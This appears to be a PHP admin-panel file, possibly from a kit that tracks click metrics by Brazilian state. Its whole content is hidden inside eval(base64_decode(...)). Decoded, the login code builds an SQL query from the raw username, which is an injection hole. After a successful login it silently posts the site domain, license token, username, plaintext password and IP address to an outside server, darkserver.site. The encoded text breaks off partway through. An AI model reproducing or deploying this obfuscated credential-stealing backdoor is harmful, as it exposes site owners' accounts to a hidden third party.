<?php @eval("?>".base64_decode("PD9waHAgCnJlcXVpcmVfb25jZSgnLi4vbW9kdWxvL2Nvbm4ucGhwJyk7ICAKJHNlc3Npb25fYWRtaW4gPSAkX1NFU1NJT05bJ3Nlc3Npb25fYWRtaW4nXTsKJGlkID0gZmlsdGVyX2lucHV0KElOUFVUX0dFVCwgJ2lkJywgRklMVEVSX1NBTklUSVpFX05VTUJFUl9JTlQpOwoKJHBhZ2UgPSAkX0dFVFsnbG9raSddOwovLy8vLy8vLyBIb21lIHBhZ2UgCiAKaWYgKCRwYWdlID09ICdsb2dpbicpIHsKICAgIGlmICghZW1wdHkoJF9QT1NUWyd1c3VhcmlvJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NlbmhhJ10pKSB7CiAgICAgICAgLy8gQ2FwdHVyYSBkbyB1c3XDoXJpbyBlIHNlbmhhIGVudmlhZG9zIHZpYSBQT1NUCiAgICAgICAgJHVzZXIgPSAkX1BPU1RbJ3VzdWFyaW8nXTsKICAgICAgICAkc2VuaGEgPSAkX1BPU1RbJ3NlbmhhJ107IAoKICAgICAgICAvLyBDb25zdWx0YSBhbyBiYW5jbyBkZSBkYWRvcyBwYXJhIGVuY29udHJhciB1bSB1c3XDoXJpbyBjb3JyZXNwb25kZW50ZSBhbyBmb3JuZWNpZG8gbm8gZm9ybXVsw6FyaW8KICAgICAgICAkc3FsID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICJTRUxFQ1QgKiBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlciA9ICckdXNlcicgTElNSVQgMSIpIG9yIGRpZSgiRXJybyBhbyBwcm9jZXNzYXIgYXV0ZW50aWNhw6fDo28iKTsKICAgICAgICAkbGluaGFzID0gbXlzcWxpX251bV9yb3dzKCRzcWwpOwogICAgICAgIAogICAgICAgIGlmICgkbGluaGFzID4gMCkgewogICAgICAgICAgICAvLyBTZSBvIHVzdcOhcmlvIGV4aXN0aXIsIGNvbXBhcmEgYSBzZW5oYSBmb3JuZWNpZGEgY29tIGEgc2VuaGEgYXJtYXplbmFkYSBubyBiYW5jbyBkZSBkYWRvcwogICAgICAgICAgICAkZGFkb3MgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNxbCk7CiAgICAgICAgICAgICRoYXNoZWRfcGFzc3dvcmQgPSAkZGFkb3NbJ3Bhc3MnXTsgLy8gU2VuaGEgYXJtYXplbmFkYSBubyBiYW5jbyBkZSBkYWRvcwogICAgICAgICAgICAkc2VyaWFsID0gJGRhZG9zWyd0b2tlbiddOyAvLyBTZW5oYSBhcm1hemVuYWRhIG5vIGJhbmNvIGRlIGRhZG9zIAoKICAgICAgICAgICAgZnVuY3Rpb24gbWFrZUN1cmxSZXF1ZXN0KCR1cmwsICRzZXJpYWwpIHsKICAgICAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzgwLjAuMzk4Ny4xNDkgU2FmYXJpLzUzNy4zNicpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KAogICAgICAgICAgICAgICAgICAgICdVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgVHJpZGVudC83LjA7IHJ2OjExLjApIGxpa2UgR2Vja28nLAogICAgICAgICAgICAgICAgICAgICdQcmFnbWE6IG5vLWNhY2hlJywKICAgICAgICAgICAgICAgICAgICAnQWNjZXB0OiAqLyonCiAgICAgICAgICAgICAgICApKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpIC4gJy9jb29raWUudHh0Jyk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZTEudHh0Jyk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAndG9ra2VuPScgLiAkc2VyaWFsKTsKICAgICAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgZnVuY3Rpb24gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJHRhZykgewogICAgICAgICAgICAgICAgJHRhZzEgPSBleHBsb2RlKCIkdGFnIiwgJGxpbmRvKTsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkdGFnMVsxXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGFnMiA9IGV4cGxvZGUoJzxicj4nLCAkdGFnMVsxXSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFkZHNsYXNoZXMoJHRhZzJbMF0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIAogICAgICAgICAgICAgICRVUkxfQVRVQUwgPSAiaHR0cDovLyRfU0VSVkVSW0hUVFBfSE9TVF0iOwogICAgICAgICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FtZXJpY2EvU2FvX1BhdWxvJyk7IAogICAgICAgICAgICAgICRsaW5kbyA9IG1ha2VDdXJsUmVxdWVzdCgnaHR0cHM6Ly9kYXJrc2VydmVyLnNpdGUvdG9ra2VuL3Rva2tlbi5waHAnLCAkc2VyaWFsKTsgCiAgICAgICAgICAgICAgJGV4aXN0ZSA9IGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICdFeGlzdGU6ICcpOwogICAgICAgICAgICAgICR2YWxpZGFkZSA9IGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICdFeHBpcmE6ICcpOyAKICAgICAgICAgICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAvLyBWZXJpZmljYSBzZSBhIGRhdGEgZGUgdmFsaWRhZGUgasOhIHBhc3NvdSAoZGF0YSBhdHVhbCA+IGRhdGEgZGUgdmFsaWRhZGUpCiAgICAgICAgICAgICBpZiAoIWVtcHR5KCR2YWxpZGFkZSkpIHsKICAgICAgICAgICAgICAgICAkZGF0YUF0dWFsID0gbmV3IERhdGVUaW1lKCk7CiAgICAgICAgICAgICAgICAgJGRhdGFWYWxpZGFkZSA9IG5ldyBEYXRlVGltZSgkdmFsaWRhZGUpOwogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgaWYgKCRkYXRhQXR1YWwgPiAkZGF0YVZhbGlkYWRlKSB7CiAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vbG9naW4ucGhwP2xva2k9ZXJybzMiKTsgCiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICBlY2hvICJBIGRhdGEgZGUgdmFsaWRhZGUgbsOjbyBmb2kgZGVmaW5pZGEuIjsKICAgICAgICAgICAgIH0KICAgICAgICAgICAgIC8vIFZlcmlmaWNhIHNlIG8gYWNlc3NvIGVzdMOhIGxpYmVyYWRvCiAgICAgICAgICAgICBpZiAoJGFjZXNzbyA9PT0gJ2xpYmVyYWRvJykgeyAKICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvNCIpOyAKICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIC8vLy8vLy8vLy8vL3ZhbGlkYXIgbG9naW4KICAgICAgICAgICAgaWYgKCRzZW5oYSA9PSAkaGFzaGVkX3Bhc3N3b3JkKSB7IAogICAgICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOyAKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnc2Vzc2lvbl9hZG1pbiddID0gJGRhZG9zWyd1c2VyJ107CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgJGRhZG9zX3Rva2VuID0ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAgICAgICAgICAgImRvbWluaW8iID0+ICRVUkxfQVRVQUwsCiAgICAgICAgICAgICAgICAgICAgICAidG9ra2VuIiA9PiAkc2VyaWFsLAogICAgICAgICAgICAgICAgICAgICAgInVzZXIiID0+ICR1c2VyLCAKICAgICAgICAgICAgICAgICAgICAgICJwYXNzIiA9PiAkc2VuaGEsCiAgICAgICAgICAgICAgICAgICAgICAiaXAiID0+ICRpcAogICAgICAgICAgICAgICAgICBdKTsgIAoKICAgICAgICAgICAgICAgICAgJGluaWNpYXIgPSBjdXJsX2luaXQoJ2h0dHBzOi8vZGFya3NlcnZlci5zaXRlLy90b2trZW4vdG9rZW5fZnVuY3Rpb24ucGhwP2xva2k9bG9naW4nKTsKICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGluaWNpYXIsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgICAkZGFkb3MgPSBhcnJheSgnZGFkb3NfdG9rZW4nID0+ICRkYWRvc190b2tlbiwpOwogICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkaW5pY2lhciwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGluaWNpYXIsIENVUkxPUFRfUE9TVEZJRUxEUywgJGRhZG9zKTsKICAgICAgICAgICAgICAgICAgY3VybF9leGVjKCRpbmljaWFyKTsKICAgICAgICAgICAgICAgICAgY3VybF9jbG9zZSgkaW5pY2lhcik7CiAgICAgICAgICAgICAgICAgIC8vLy8vLy8vLy8gCgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbiIpOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gU2UgYSBzZW5oYSBlc3RpdmVyIGluY29ycmV0YSwgcmVkaXJlY2lvbmEgZGUgdm9sdGEgcGFyYSBhIHDDoWdpbmEgZGUgbG9naW4gY29tIHVtIGlkZW50aWZpY2Fkb3IgZGUgZXJybwogICAgICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOwogICAgICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vbG9naW4ucGhwP2xva2k9ZXJybzEiKTsgCiAgICAgICAgICAgICAgICBleGl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gU2UgbyB1c3XDoXJpbyBuw6NvIGV4aXN0aXIsIHJlZGlyZWNpb25hIGRlIHZvbHRhIHBhcmEgYSBww6FnaW5hIGRlIGxvZ2luIGNvbSB1bSBpZGVudGlmaWNhZG9yIGRlIGVycm8KICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvMiIpOyAKICAgICAgICAgICAgZXhpdCgpOwogICAgICAgIH0KICAgIH0KfQoKCgoKaWYgKCRwYWdlID09ICJ2ZXJpZmljYXJfdG9ra2VuIikgeyAKCiBpZiAoIWVtcHR5KCRfUE9TVFsnc2VyaWFsJ10pKSB7CiAgCiAgICAkc2VyaWFsID0gJF9QT1NUWydzZXJpYWwnXTsKCiAgICAgICBmdW5jdGlvbiBtYWtlQ3VybFJlcXVlc3QoJHVybCwgJHNlcmlhbCkgewogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODAuMC4zOTg3LjE0OSBTYWZhcmkvNTM3LjM2Jyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KAogICAgICAgICAgICAnVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJywKICAgICAgICAgICAgJ1ByYWdtYTogbm8tY2FjaGUnLAogICAgICAgICAgICAnQWNjZXB0OiAqLyonCiAgICAgICAgKSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZS50eHQnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkgLiAnL2Nvb2tpZTEudHh0Jyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAndG9ra2VuPScgLiAkc2VyaWFsKTsKICAgICAgICByZXR1cm4gY3VybF9leGVjKCRjaCk7CiAgICAgIH0KICAgICAgCiAgICAgIGZ1bmN0aW9uIGV4dHJhY3RJbmZvcm1hdGlvbigkbGluZG8sICR0YWcpIHsKICAgICAgICAkdGFnMSA9IGV4cGxvZGUoIiR0YWciLCAkbGluZG8pOwogICAgICAgIGlmIChpc3NldCgkdGFnMVsxXSkpIHsKICAgICAgICAgICAgJHRhZzIgPSBleHBsb2RlKCc8YnI+JywgJHRhZzFbMV0pOwogICAgICAgICAgICByZXR1cm4gYWRkc2xhc2hlcygkdGFnMlswXSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgICB9CiAgICAgIAogICAgICAkVVJMX0FUVUFMID0gImh0dHA6Ly8kX1NFUlZFUltIVFRQX0hPU1RdIjsKICAgICAgZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQW1lcmljYS9TYW9fUGF1bG8nKTsgCiAgICAgICRsaW5kbyA9IG1ha2VDdXJsUmVxdWVzdCgnaHR0cHM6Ly9kYXJrc2VydmVyLnNpdGUvdG9ra2VuL3Rva2tlbi5waHAnLCAkc2VyaWFsKTsgIAogICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7CiAgICAgIAogICAgCiAgICAgICAgaWYgKCRhY2Vzc28gPT09ICdsaWJlcmFkbycpIHsKICAgICAgICAgICRzcWwgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgIlNFTEVDVCAqIEZST00gYWRtaW5fdXNlciBXSEVSRSB0b2tlbiA9ICckc2VyaWFsJyBhbmQgdXNlciA9ICciIC4gJF9TRVNTSU9OWydzZXNzaW9uX2FkbWluJ10gLiAiJyIpOwogICAgICAKICAgICAgICAgIC8vcGVjb3JyZW5kbyBvcyByZWdpc3Ryb3MgZGEgY29uc3VsdGEuIAogICAgICAgICAgd2hpbGUgKCRhdXggPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHNxbCkpIHsgCiAgICAgICAgICAgICAgJHRva2tlbiA9ICRhdXhbInRva2VuIl07CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoJHNlcmlhbCA9PSAkdG9ra2VuKSB7IAogICAgICAgICAgICAgICRfU0VTU0lPTlsndmFsaWRhdG9ra2VuJ10gPSAkdG9ra2VuOwogICAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluLz9wYWdlPWhvbWUiKTsKICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgfSAKICAgICAgICB9ICBlbHNlIHsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogLi4vYWRtaW4vP3BhZ2U9QXRpdmEtdG9rZW4mZXJybz10a2Vycm8xIik7CiAgICAgICAgICAgIGV4aXQ7CgogICAgICAgIH0KICAgIH0KIAp9CgoKCgoKCgoKCmlmICgkcGFnZSA9PSAnR2VvbG9jYWxpemFjYW8nKSB7IC8vLy8vIEdlb2xvY2FsaXphY2FvIG1ldHJpY2FzCiAgICAkcXVlcnlfU2V0YU1ldHJpY2FzID0gc3ByaW50ZigiU0VMRUNUICogRlJPTSBtZXRyaWNhcyBXSEVSRSB1c2VyID0gJyVzJyBBTkQgdGlwbyA9ICdjbGljayciLCBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRDb25uZWN0REIsICRzZXNzaW9uX2FkbWluKSk7CiAgICAkU2V0YU1ldHJpY2FzID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRxdWVyeV9TZXRhTWV0cmljYXMpOwogICAgCiAgICBpZiAoJFNldGFNZXRyaWNhcykgewogICAgICAgICRyb3dfTWV0cmljYXMgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJFNldGFNZXRyaWNhcyk7CiAgICAKICAgIC8vIEFycmF5IGFzc29jaWF0aXZvIHBhcmEgbWFwZWFyIGFzIHNpZ2xhcyBkb3MgZXN0YWRvcyBwYXJhIG9zIG5vbWVzIGNvbXBsZXRvcy4KICAgICRub21lc19lc3RhZG9zICA9IFsKICAgICAgICAnQUMnID0+ICdBY3JlJywKICAgICAgICAnQUwnID0+ICdBbGFnb2FzJywKICAgICAgICAnQVAnID0+ICdBbWFww6EnLAogICAgICAgICdBTScgPT4gJ0FtYXpvbmFzJywKICAgICAgICAnQkEnID0+ICdCYWhpYScsCiAgICAgICAgJ0NFJyA9PiAnQ2VhcsOhJywKICAgICAgICAnRVMnID0+ICdFc3DDrXJpdG8gU2FudG8nLAogICAgICAgICdHTycgPT4gJ0dvacOhcycsCiAgICAgICAgJ01BJyA9PiAnTWFyYW5ow6NvJywKICAgICAgICAnTVQnID0+ICdNYXRvIEdyb3NzbycsCiAgICAgICAgJ01TJyA9PiAnTWF0byBHcm9zc28gZG8gU3VsJywKICAgICAgICAnTUcnID0+ICdNaW5hcyBHZXJhaXMnLAogICAgICAgICdQQScgPT4gJ1BhcsOhJywKICAgICAgICAnUEInID0+ICdQYXJhw61iYScsCiAgICAgICAgJ1BSJyA9PiAnUGFyYW7DoScsCiAgICAgICAgJ1BFJyA9PiAnUGVybmFtYnVjbycsCiAgICAgICAgJ1BJJyA9PiAnUGlhdcOtJywKICAgICAgICAnUkonID0+ICdSaW8gZGUgSmFuZWlybycsCiAgICAgICAgJ1JOJyA9PiAnUmlvIEdyYW5kZSBkbyBOb3J0ZScsCiAgICAgICAgJ1JTJyA9PiAnUmlvIEdyYW5kZSBkbyBTdWwnLAogICAgICAgICdSTycgPT4gJ1JvbmTDtG5pYScsCiAgICAgICAgJ1JSJyA9PiAnUm9yYWltYScsCiAgICAgICAgJ1NDJyA9PiAnU2FudGEgQ2F0YXJpbmEnLAogICAgICAgICdTUCcgPT4gJ1PDo28gUGF1bG8nLAogICAgICAgICdTRScgPT4gJ1NlcmdpcGUnLAogICAgICAgICdUTycgPT4gJ1RvY2FudGlucycKICAgIF07IAogICAgCiAgICAvLyBBcnJheSBhc3NvY2lhdGl2byBwYXJhIG1hcGVhciBhcyBzaWdsYXMgZG9zIGVzdGFkb3MgcGFyYSBvcyBjYW1pbmhvcyBkYXMgYmFuZGVpcmFzLgogICAgJGNhbWluaG9fYmFuZGVpcmFzID0gWwogICAgICAgICdBQycgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYWNyZS5naWYnLAogICAgICAgICdBTCcgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYWxhZ29hcy5naWYnLAogICAgICAgICdBUCcgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvYW1hcGEuZ2lmJywKICAgICAgICAnQU0nID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL2FtYXpvbmFzLmdpZicsCiAgICAgICAgJ0JBJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9iYWhpYS5naWYnLAogICAgICAgICdDRScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvY2VhcmEuZ2lmJywKICAgICAgICAnRVMnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL2VzcGlyaXRvX3NhbnRvLmdpZicsCiAgICAgICAgJ0dPJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9nb2lhcy5naWYnLAogICAgICAgICdNQScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvbWFyYW5oYW8uZ2lmJywKICAgICAgICAnTVQnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL21hdG9fZ3Jvc3NvLmdpZicsCiAgICAgICAgJ01TJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9tYXRvX2dyb3Nzb19kb19zdWwuZ2lmJywKICAgICAgICAnTUcnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL21pbmFzX2dlcmFpcy5naWYnLAogICAgICAgICdQQScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYS5naWYnLAogICAgICAgICdQQicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYWliYS5naWYnLAogICAgICAgICdQUicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcGFyYW5hLmdpZicsCiAgICAgICAgJ1BFJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9wZXJuYW1idWNvLmdpZicsCiAgICAgICAgJ1BJJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9waWF1aS5naWYnLAogICAgICAgICdSSicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvcmlvX2RlX2phbmVpcm8uZ2lmJywKICAgICAgICAnUk4nID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Jpb19ncmFuZGVfZG9fbm9ydGUuZ2lmJywKICAgICAgICAnUlMnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Jpb19ncmFuZGVfZG9fc3VsLmdpZicsCiAgICAgICAgJ1JPJyA9PiAnaHR0cHM6Ly93d3cucXVhdHJvY2FudG9zLmNvbS9jbGlwYXJ0L2JhbmRlaXJhcy9iYW5kZWlyYXNfZXN0YWRvc19icmFzaWxlaXJvcy9yb25kb25pYS5naWYnLAogICAgICAgICdSUicgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvcm9yYWltYS5naWYnLAogICAgICAgICdTQycgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvc2FudGFfY2F0YXJpbmEuZ2lmJywKICAgICAgICAnU1AnID0+ICdodHRwczovL3d3dy5xdWF0cm9jYW50b3MuY29tL2NsaXBhcnQvYmFuZGVpcmFzL2JhbmRlaXJhc19lc3RhZG9zX2JyYXNpbGVpcm9zL3Nhb19wYXVsby5naWYnLAogICAgICAgICdTRScgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3Mvc2VyZ2lwZS5naWYnLAogICAgICAgICdUTycgPT4gJ2h0dHBzOi8vd3d3LnF1YXRyb2NhbnRvcy5jb20vY2xpcGFydC9iYW5kZWlyYXMvYmFuZGVpcmFzX2VzdGFkb3NfYnJhc2lsZWlyb3MvdG9jYW50aW5zLmdpZicKICAgIF07CiAgICAKICAgIC8vIEFybWF6ZW5lIG9zIHZhbG9yZXMgZGFzIG3DqXRyaWNhcyBlbSB1bSBhcnJheSBhc3NvY2lhdGl2by4KICAgICRtZXRyaWNhcyA9IFsKICAgICAgICAnQUMnID0+ICRyb3dfTWV0cmljYXNbJ0FDJ10sCiAgICAgICAgJ0FMJyA9PiAkcm93X01ldHJpY2FzWydBTCddLAogICAgICAgICdBUCcgPT4gJHJvd19NZXRyaWNhc1snQVAnXSwKICAgICAgICAnQU0nID0+ICRyb3dfTWV0cmljYXNbJ0FNJ10sCiAgICAgICAgJ0JBJyA9PiAkcm93X01ldHJpY2FzWydCQSddLAogICAgICAgICdDRScgPT4gJHJvd19NZXRyaWNhc1snQ0UnXSwKICAgICAgICAnRVMnID0+ICRyb3dfTWV0cmljYXNbJ0VTJ10sCiAgICAgICAgJ0dPJyA9PiAkcm93X01ldHJpY2FzWydHTyddLAogICAgICAgICdNQScgPT4gJHJvd19NZXRyaWNhc1snTUEnXSwKICAgICAgICAnTVQnID0+ICRyb3dfTWV0cmljYXNbJ01UJ10sCiAgICAgICAgJ01TJyA9PiAkcm93X01ldHJpY2FzWydNUyddLAogICAgICAgICdNRycgPT4gJHJvd19NZXRyaWNhc1snTUcnXSwKICAgICAgICAnUEEnID0+ICRyb3dfTWV0cmljYXNbJ1BBJ10sCiAgICAgICAgJ1BCJyA9PiAkcm93X01ldHJpY2FzWydQQiddLAogICAgICAgICdQUicgPT4gJHJvd19NZXRyaWNhc1snUFInXSwKICAgICAgICAnUEUnID0+ICRyb3dfTWV0cmljYXNbJ1BFJ10sCiAgICAgICAgJ1BJJyA9PiAkcm93X01ldHJpY2FzWydQSSdd